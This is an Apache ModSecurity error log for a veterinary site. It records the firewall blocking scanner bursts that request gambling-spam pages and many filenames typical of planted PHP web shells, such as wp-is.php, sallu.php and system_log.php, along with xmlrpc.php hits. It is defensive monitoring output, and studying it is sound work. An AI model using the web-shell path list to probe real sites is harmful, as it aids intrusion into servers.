[Mon Apr 06 16:12:50.315370 2026] [:error] [pid 35688:tid 35773] [client 147.135.213.234:45250] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "adNrAuZ85qg4jLsRpQxGwgAAAJc"]
[Mon Apr 06 16:12:52.847292 2026] [:error] [pid 35686:tid 35697] [client 147.135.213.234:45252] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "adNrBMMKdea6oORd2fxTCwAAAAE"]
[Mon Apr 06 16:12:55.278293 2026] [:error] [pid 9442:tid 9461] [client 147.135.213.234:45268] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "adNrB0PsNnAJTnmz6sZWsAAAARE"]
[Mon Apr 06 16:12:57.787902 2026] [:error] [pid 35686:tid 35712] [client 147.135.213.234:35880] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "adNrCcMKdea6oORd2fxTJwAAABA"]
[Mon Apr 06 16:13:00.306744 2026] [:error] [pid 10280:tid 10284] [client 147.135.213.234:35890] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "adNrDF8QUJkf8g-BFfOCEwAAAcE"]
[Mon Apr 06 16:13:02.804099 2026] [:error] [pid 35686:tid 35718] [client 147.135.213.234:35894] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "adNrDsMKdea6oORd2fxTOQAAABY"]
[Mon Apr 06 16:13:05.281103 2026] [:error] [pid 35786:tid 35801] [client 147.135.213.234:35906] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "adNrEWgkfCKTaLhwaKT4DAAAAMg"]
[Mon Apr 06 16:13:07.769633 2026] [:error] [pid 38562:tid 38576] [client 147.135.213.234:40076] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "adNrE6eD6Ohe6wzRuy4S6QAAAUs"]
[Mon Apr 06 16:13:10.114116 2026] [:error] [pid 35686:tid 35696] [client 147.135.213.234:40082] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "adNrFsMKdea6oORd2fxTWwAAAAA"]
[Mon Apr 06 16:13:12.586930 2026] [:error] [pid 35686:tid 35713] [client 147.135.213.234:40096] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "adNrGMMKdea6oORd2fxTZwAAABE"]
[Mon Apr 06 16:13:15.048967 2026] [:error] [pid 38562:tid 38568] [client 147.135.213.234:40106] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "adNrG6eD6Ohe6wzRuy4S-QAAAUM"]
[Mon Apr 06 16:13:17.535928 2026] [:error] [pid 38562:tid 38584] [client 147.135.213.234:55696] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "adNrHaeD6Ohe6wzRuy4S_wAAAVM"]
[Mon Apr 06 16:13:19.864988 2026] [:error] [pid 10280:tid 10299] [client 147.135.213.234:55698] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "adNrH18QUJkf8g-BFfOCWgAAAdA"]
[Mon Apr 06 16:13:22.160810 2026] [:error] [pid 35686:tid 35696] [client 147.135.213.234:55714] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "adNrIsMKdea6oORd2fxTqQAAAAA"]
[Mon Apr 06 16:13:24.643339 2026] [:error] [pid 35687:tid 35745] [client 147.135.213.234:55720] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "adNrJJ3LtDozV0i8BisqMwAAAFY"]
[Mon Apr 06 16:13:27.005819 2026] [:error] [pid 9413:tid 9429] [client 147.135.213.234:44036] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "adNrJ3llvEK3chn01wGX1QAAAY4"]
[Mon Apr 06 16:39:06.073955 2026] [ssl:error] [pid 35686:tid 35707] [client 44.244.81.223:36050] AH02032: Hostname macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup
[Mon Apr 06 19:16:39.377892 2026] [:error] [pid 9442:tid 9462] [client 180.110.203.108:49815] [client 180.110.203.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "adOWF0PsNnAJTnmz6saUPAAAARI"]
[Mon Apr 06 20:41:53.454076 2026] [:error] [pid 35786:tid 35795] [client 185.187.78.235:18943] [client 185.187.78.235] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.187.78.235, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "adOqEWgkfCKTaLhwaKQeMQAAAMI"]
[Mon Apr 06 20:42:09.306938 2026] [:error] [pid 9442:tid 9446] [client 123.16.186.188:39542] [client 123.16.186.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.16.186.188, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "adOqIUPsNnAJTnmz6sbnPQAAAQI"]
[Mon Apr 06 21:30:12.838691 2026] [:error] [pid 38562:tid 38589] [client 49.51.47.100:42100] [client 49.51.47.100] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adO1ZKeD6Ohe6wzRuy6eXQAAAVg"]
[Mon Apr 06 22:40:48.167068 2026] [:error] [pid 38562:tid 38576] [client 158.158.96.77:24764] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new4.php"] [unique_id "adPF8KeD6Ohe6wzRuy6zMwAAAUs"]
[Mon Apr 06 22:40:50.041175 2026] [:error] [pid 10280:tid 10284] [client 158.158.96.77:31564] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new4.php"] [unique_id "adPF8l8QUJkf8g-BFfM1nQAAAcE"]
[Mon Apr 06 22:40:51.275887 2026] [:error] [pid 9442:tid 9448] [client 158.158.96.77:34761] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new4.php"] [unique_id "adPF80PsNnAJTnmz6sY-QQAAAQQ"]
[Mon Apr 06 22:40:53.412707 2026] [:error] [pid 9442:tid 9458] [client 158.158.96.77:34146] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new4.php"] [unique_id "adPF9UPsNnAJTnmz6sY-TgAAAQ4"]
[Mon Apr 06 22:40:54.176278 2026] [:error] [pid 35688:tid 35750] [client 158.158.96.77:33619] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/r4f_1.php"] [unique_id "adPF9uZ85qg4jLsRpQz7xgAAAIA"]
[Mon Apr 06 22:40:55.431369 2026] [:error] [pid 35688:tid 35763] [client 158.158.96.77:31554] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/r4f_1.php"] [unique_id "adPF9-Z85qg4jLsRpQz7zAAAAI0"]
[Mon Apr 06 22:40:56.808984 2026] [:error] [pid 35688:tid 35759] [client 158.158.96.77:34153] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/r4f_1.php"] [unique_id "adPF-OZ85qg4jLsRpQz70wAAAIk"]
[Mon Apr 06 22:40:58.100871 2026] [:error] [pid 10280:tid 10299] [client 158.158.96.77:26681] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/r4f_1.php"] [unique_id "adPF-l8QUJkf8g-BFfM1sAAAAdA"]
[Mon Apr 06 22:40:59.672612 2026] [:error] [pid 35688:tid 35773] [client 158.158.96.77:34710] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "adPF--Z85qg4jLsRpQz72gAAAJc"]
[Mon Apr 06 22:41:01.745788 2026] [:error] [pid 9442:tid 9455] [client 158.158.96.77:34697] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "adPF_UPsNnAJTnmz6sY-dAAAAQs"]
[Mon Apr 06 22:41:04.714716 2026] [:error] [pid 9413:tid 9431] [client 158.158.96.77:60118] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "adPGAHllvEK3chn01wHYMwAAAZA"]
[Mon Apr 06 22:41:08.002086 2026] [:error] [pid 35688:tid 35762] [client 158.158.96.77:34297] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "adPGBOZ85qg4jLsRpQz8AgAAAIw"]
[Mon Apr 06 22:41:11.001841 2026] [:error] [pid 1827:tid 1836] [client 158.158.96.77:14635] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "adPGB-Veb6S_DnjZ2xE3XAAAAgc"]
[Mon Apr 06 22:41:14.005001 2026] [:error] [pid 1827:tid 1835] [client 158.158.96.77:32353] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "adPGCuVeb6S_DnjZ2xE3YAAAAgY"]
[Mon Apr 06 22:41:15.550584 2026] [:error] [pid 10280:tid 10306] [client 158.158.96.77:34271] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "adPGC18QUJkf8g-BFfM10gAAAdc"]
[Mon Apr 06 22:41:16.411879 2026] [:error] [pid 9442:tid 9466] [client 158.158.96.77:34690] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "adPGDEPsNnAJTnmz6sY-owAAARY"]
[Mon Apr 06 22:41:17.355909 2026] [:error] [pid 10280:tid 10286] [client 158.158.96.77:26632] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless11.php"] [unique_id "adPGDV8QUJkf8g-BFfM11AAAAcM"]
[Mon Apr 06 22:41:18.662344 2026] [:error] [pid 9442:tid 9446] [client 158.158.96.77:14619] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless11.php"] [unique_id "adPGDkPsNnAJTnmz6sY-uAAAAQI"]
[Mon Apr 06 22:41:19.597641 2026] [:error] [pid 10280:tid 10289] [client 158.158.96.77:26687] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless11.php"] [unique_id "adPGD18QUJkf8g-BFfM12QAAAcY"]
[Mon Apr 06 22:41:20.090960 2026] [:error] [pid 9442:tid 9468] [client 158.158.96.77:26611] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless11.php"] [unique_id "adPGEEPsNnAJTnmz6sY-uwAAARg"]
[Mon Apr 06 22:41:20.664128 2026] [:error] [pid 9442:tid 9445] [client 158.158.96.77:32897] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/o.php"] [unique_id "adPGEEPsNnAJTnmz6sY-vQAAAQE"]
[Mon Apr 06 22:41:21.215277 2026] [:error] [pid 9442:tid 9446] [client 158.158.96.77:31644] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/o.php"] [unique_id "adPGEUPsNnAJTnmz6sY-wwAAAQI"]
[Mon Apr 06 22:41:21.697161 2026] [:error] [pid 9442:tid 9453] [client 158.158.96.77:34723] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/o.php"] [unique_id "adPGEUPsNnAJTnmz6sY-zAAAAQk"]
[Mon Apr 06 22:41:22.220115 2026] [:error] [pid 9442:tid 9459] [client 158.158.96.77:32357] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/o.php"] [unique_id "adPGEkPsNnAJTnmz6sY-1QAAAQ8"]
[Mon Apr 06 22:41:22.734320 2026] [:error] [pid 9442:tid 9457] [client 158.158.96.77:34243] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "adPGEkPsNnAJTnmz6sY-2AAAAQ0"]
[Mon Apr 06 22:41:23.232497 2026] [:error] [pid 10280:tid 10290] [client 158.158.96.77:34700] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "adPGE18QUJkf8g-BFfM14wAAAcc"]
[Mon Apr 06 22:41:23.760950 2026] [:error] [pid 35688:tid 35759] [client 158.158.96.77:65075] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "adPGE-Z85qg4jLsRpQz8MQAAAIk"]
[Mon Apr 06 22:41:24.248602 2026] [:error] [pid 9442:tid 9446] [client 158.158.96.77:37485] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "adPGFEPsNnAJTnmz6sY-3wAAAQI"]
[Mon Apr 06 22:41:24.745996 2026] [:error] [pid 9442:tid 9466] [client 158.158.96.77:26615] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/system_log.php"] [unique_id "adPGFEPsNnAJTnmz6sY-4wAAARY"]
[Mon Apr 06 22:41:25.230143 2026] [:error] [pid 38562:tid 38587] [client 158.158.96.77:31678] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/system_log.php"] [unique_id "adPGFaeD6Ohe6wzRuy6zYQAAAVY"]
[Mon Apr 06 22:41:25.719090 2026] [:error] [pid 9442:tid 9447] [client 158.158.96.77:26645] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/system_log.php"] [unique_id "adPGFUPsNnAJTnmz6sY-6gAAAQM"]
[Mon Apr 06 22:41:26.205029 2026] [:error] [pid 9442:tid 9467] [client 158.158.96.77:31679] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/system_log.php"] [unique_id "adPGFkPsNnAJTnmz6sY-7AAAARc"]
[Mon Apr 06 22:41:26.707662 2026] [:error] [pid 10280:tid 10295] [client 158.158.96.77:14649] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/ssd/sallu.php"] [unique_id "adPGFl8QUJkf8g-BFfM15wAAAcw"]
[Mon Apr 06 22:41:27.188471 2026] [:error] [pid 35687:tid 35744] [client 158.158.96.77:34262] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/ssd/sallu.php"] [unique_id "adPGF53LtDozV0i8BiuERgAAAFU"]
[Mon Apr 06 22:41:27.703134 2026] [:error] [pid 35688:tid 35774] [client 158.158.96.77:44719] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/ssd/sallu.php"] [unique_id "adPGF-Z85qg4jLsRpQz8NwAAAJg"]
